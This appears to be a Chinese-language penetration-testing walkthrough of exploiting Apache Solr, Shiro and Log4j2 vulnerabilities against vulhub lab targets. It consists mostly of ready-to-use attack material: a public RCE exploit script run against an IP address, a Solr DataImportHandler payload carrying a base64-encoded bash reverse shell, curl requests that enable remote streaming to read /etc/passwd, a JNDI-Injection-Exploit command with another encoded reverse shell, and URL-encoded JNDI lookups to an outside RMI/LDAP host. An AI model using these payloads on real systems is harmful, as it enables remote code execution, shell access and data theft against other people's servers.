开发组件漏洞
开发组件漏洞
solr
solr[1]详解看底部参考资料;影响版本:5.0.0至8.3.1;默认端口:8983
标志
exp下载
https://github.com/jas502n/solr_rce
solr-cve_2019_17558
环境要用python2环境,这里直接kali操作
操作
拖动文件到kali然后解压操作就行,执行不成功,那是权限问题给执行权限就可
unzip solr_rce-master.zip
cd solr_rce-master
python2 solr_rce.py http://123.58.224.8:58742 id
python2 solr_rce.py http://123.58.224.8:58742 'ls /tmp'
solr CVE-2019-0193
影响版本:Apache Solr < 8.2.0可以去尝试
安装另一个靶场
需要提前安装docker-compose[2]安装详解看底部参考资料装docker和docker-compose点击这
部署vulhub靶场
git clone https://github.com/vulhub/vulhub.git
ls
cd vulhub
ls
cd solr
ls
cd CVE-2019-0193
启动相应靶场
docker-compose up -d
操作
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTE1LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" />
</document>
</dataConfig>
然后监听端口
nc -lvnp 6666
拿到
solr-CVE-2021-27905
直接加/solr/admin/cores?indexlnfo=false&wt=json
可以看到一些内容这就是此漏洞危害结合文件读取造成大的危害
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \$'http://123.58.224.8:25494//solr/demo/config'curl -i -s -k 'http://123.58.224.8:25494//solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
shiro
shiro[3]详解看底部参考资料
shiro-721
原理:java在解析路径的时候做的不严谨
直接工具执行,过程就不多说,很简单
shiro 权限绕过(CVE-2020-1957)
这样输入需要登录
http://123.58.224.8:40016/hello/1
绕过authc拦截器加/
http://123.58.224.8:40016/hello/1/
成功
log4j2
log4j[4]详解看底部参考资料
log4jCVE-2021-44228远程命令执行
JNDI工具我会放在网盘里,可以在我公众号底栏->资源获取->百度网盘,JNDI工具安装[5]详解看底部参考资料
影响版本:2.0 ≤ Apache Log4j2 < 2.15.0-rc2
构建反弹shell指令并进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OS4xMjgvNzc3NyAwPiYx
在JNDI工具所在的列表运行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OS4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.249.128"
生成之后填入
${jndi:}
然后经过url编码
${jndi:rmi://42.193.106.218:1099/b85oib}%24%7bjndi%3armi%3a%2f%2f42.193.106.218%3a1099%2fb85oib%7d${jndi:rmi://42.193.106.218:1099/cc9pqb}%24%7bjndi%3armi%3a%2f%2f42.193.106.218%3a1099%2fcc9pqb%7d${jndi:ldap://42.193.106.218:1389/cc9pqb}%24%7bjndi%3aldap%3a%2f%2f42.193.106.218%3a1389%2fcc9pqb%7d${jndi:rmi://42.193.106.218:1099/6krcer}%24%7bjndi%3armi%3a%2f%2f42.193.106.218%3a1099%2f6krcer%7d${jndi:ldap://42.193.106.218:1389/6krcer}%24%7bjndi%3aldap%3a%2f%2f42.193.106.218%3a1389%2f6krcer%7d%0a
注意:以上生成的指令带有随机端口,如果是服务器操作,需要提前放开端口
如开放端口1000-1500监听反弹shell指令相关的端口
nc -lvnp 6666
直接给?payload=后加就行例如
http://123.58.224.8:16635/hello?payload=%24%7bjndi%3armi%3a%2f%2f42.193.106.218%3a1099%2fb85oib%7d注意:JNDI工具和监听端口操作在是同一台攻击机
再附一篇参考文章
log4jCVE-2021-44228[6]详解看底部参考资料
参考资料
[1]什么是solr: https://blog.csdn.net/strive_or_die/article/details/99887770
[2]docker-compose: https://blog.csdn.net/qq_41901122/article/details/122017000
[3]shiro: https://blog.csdn.net/qq_43332570/article/details/107002182
[4]log4j: https://blog.csdn.net/weixin_72083767/article/details/134389107
[5]JNDI安装: https://blog.csdn.net/Myon5/article/details/136548391
[6]log4jCVE-2021-44228: https://blog.csdn.net/Myon5/article/details/136548391